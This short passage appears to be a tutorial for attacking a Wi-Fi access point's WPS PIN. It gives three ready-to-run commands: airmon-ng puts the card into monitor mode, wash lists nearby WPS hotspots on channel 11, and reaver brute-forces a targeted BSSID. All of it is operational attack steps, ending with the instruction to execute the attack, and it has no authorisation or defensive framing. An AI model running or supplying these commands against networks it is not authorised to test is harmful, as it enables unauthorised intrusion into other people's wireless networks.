We need to switch our device into monitor mode, with airmon-ng.
sudo airmon-ng start wlan0
Then list the nearby hotspots with wash.(Using channel 11 in example)
sudo wash -i wlan0mon -c 11 -C -s
Specify the targeted BSSID and execute the attack.
sudo reaver -i wlan0mon -b xx:15:xx:8B:xx:34 --fail-wait=360